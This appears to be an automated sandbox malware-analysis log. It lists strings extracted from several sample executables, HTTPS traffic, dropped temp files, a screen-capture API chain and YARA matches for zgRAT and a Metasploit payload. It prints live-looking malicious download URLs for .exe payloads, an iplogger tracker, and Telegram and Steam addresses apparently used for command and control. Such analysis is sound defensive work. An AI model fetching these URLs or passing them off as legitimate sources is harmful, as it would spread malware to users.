Source: sTd4WXsFge4OZIqww_UHT8nz.exe, 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: RegAsm.exe	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: sTd4WXsFge4OZIqww_UHT8nz.exe, 00000013.00000003.1499920193.0000000002230000.00000004.00001000.00020000.00000000.sdmp, sTd4WXsFge4OZIqww_UHT8nz.exe, 00000013.00000003.1525950087.0000000001FE8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: sTd4WXsFge4OZIqww_UHT8nz.exe, 00000013.00000003.1499920193.0000000002230000.00000004.00001000.00020000.00000000.sdmp, sTd4WXsFge4OZIqww_UHT8nz.exe, 00000013.00000003.1525950087.0000000001FE8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.remobjects.com/psU
Source: file.exe, 00000005.00000002.1283777656.0000000004EB4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000002.1283777656.0000000004F1B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1715713389.0000000003D3F000.00000004.00000800.00020000.00000000.sdmp, jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1715713389.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1715713389.0000000003D3F000.00000004.00000800.00020000.00000000.sdmp, jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1715713389.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllm_object
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/adal_token_cache_serialization
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-brokers
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-brokers.
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-client-apps
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-interactive-android
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-2-released)
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-3-breaking-changes
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-3-breaking-changesShttps://login.microsoftonline.com/common/
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-3-breaking-changesy
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-change
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-change)
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-changeC
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-application-configuration
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-b2c
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-brokers
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-enable-keychain-access
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-enable-keychain-groups
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-iwa
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-system-browsers
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-up
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/msal-net-up)
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.ms/net-cache-persistence-errors.
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://aka.msa/msal-net-3x-cache-breaking-change
Source: oLvXEE2e9pIf4hDzNZ63ennK.exe, 00000010.00000002.1762946732.0000000003FA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/?format=json
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/?format=json8
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org:443/?format=json
Source: RegAsm.exe, 00000007.00000002.1552191367.0000000004308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/
Source: RegAsm.exe, 00000007.00000002.1552191367.0000000004308000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1552191367.000000000433D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/479ceab5-a71c-45e3-a6d6-d89e76e092ed/downloads/d060d296-4b38-
Source: RegAsm.exe, 00000007.00000002.1552191367.0000000004308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/Y
Source: RegAsm.exe, 00000007.00000002.1552191367.0000000004308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000F97000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/solgoodman/zixenberg/downloads/onePackage.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/solgoodman/zixenberg/downloads/onePackage.exeC:
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/solgoodman/zixenberg/downloads/onePackage.exeZ
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/solgoodman/zixenberg/downloads/onePackage.exefload
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org:80/F
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1552191367.000000000433D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org:80/solgoodman/zixenberg/downloads/onePackage.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org:80/solgoodman/zixenberg/downloads/onePackage.exe1
Source: RegAsm.exe, 00000007.00000002.1552191367.000000000433D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org:80/solgoodman/zixenberg/downloads/onePackage.exep
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://enterpriseregistration.windows.net/
Source: RegAsm.exe, 00000007.00000002.1552191367.00000000042E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com/
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1552191367.0000000004308000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com/smdsg.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com/smdsg.exe2
Source: RegAsm.exe, 00000007.00000002.1552191367.0000000004308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com/smdsg.exe?
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com/smdsg.exeC:
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com/vkfsags12.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com/vkfsags12.exe2409
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com/vkfsags12.exeC:
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com/vlsadg.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com/vlsadg.exeC:
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com:80/
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com:80/smdsg.exe
Source: RegAsm.exe, 00000007.00000002.1552191367.00000000042F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com:80/vkfsags12.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com:80/vlsadg.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://innovaxingenieros.com:80/xeQ
Source: RegAsm.exe	String found in binary or memory: https://ipgeolocation.io/
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/g
Source: file.exe, 00000005.00000002.1283777656.0000000004EB4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000002.1283777656.0000000004F1B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/https://ipgeolocation.io/::
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.33
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/
Source: RegAsm.exe, 00000007.00000002.1552191367.000000000433D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1nhuM4.js
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1nhuM4.jss5/
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/E
Source: RegAsm.exe, 00000007.00000002.1552191367.000000000433D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/O8F
Source: RegAsm.exe, 00000007.00000002.1552191367.0000000004376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org:443/1nhuM4.js
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://login.microsoftonline.com/common
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://login.microsoftonline.com=https://login.chinacloudapi.cnAhttps://login.microsoftonline.deAht
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org0/
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2245373861.0000027C77A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://sso2urn:ietf:wg:oauth:2.0:oob
Source: dFpuQ1Q9a79sUJWPwukBnd_d.exe, 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp, Wzy1vqDHala63jbsaIZzYTRV.exe, 00000011.00000002.1744772345.0000000003D3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199768374681
Source: dFpuQ1Q9a79sUJWPwukBnd_d.exe, 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp, Wzy1vqDHala63jbsaIZzYTRV.exe, 00000011.00000002.1744772345.0000000003D3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199768374681i11ihellosqlp.dllMozilla/5.0
Source: dFpuQ1Q9a79sUJWPwukBnd_d.exe, 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp, Wzy1vqDHala63jbsaIZzYTRV.exe, 00000011.00000002.1744772345.0000000003D3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/edm0d
Source: dFpuQ1Q9a79sUJWPwukBnd_d.exe, 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp, Wzy1vqDHala63jbsaIZzYTRV.exe, 00000011.00000002.1744772345.0000000003D3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/edm0di11iMozilla/5.0
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.nuget.org/packages/Microsoft.Identity.Json.Bson

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867

Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.163.236:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.163.236:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.231.138.137:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.3.46:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.107.146.245:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.163.236:443 -> 192.168.2.7:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.163.236:443 -> 192.168.2.7:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.107.146.245:443 -> 192.168.2.7:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.107.146.245:443 -> 192.168.2.7:49857 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 39_2_00418AB0 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

39_2_00418AB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpA21D.tmp			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpA22E.tmp			Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 33.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0000000D.00000002.1815283104.00000000023D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC54C628 NtUnmapViewOfSection,VirtualAllocEx,	20_2_00007FFAAC54C628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69ABB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	39_2_69ABB910
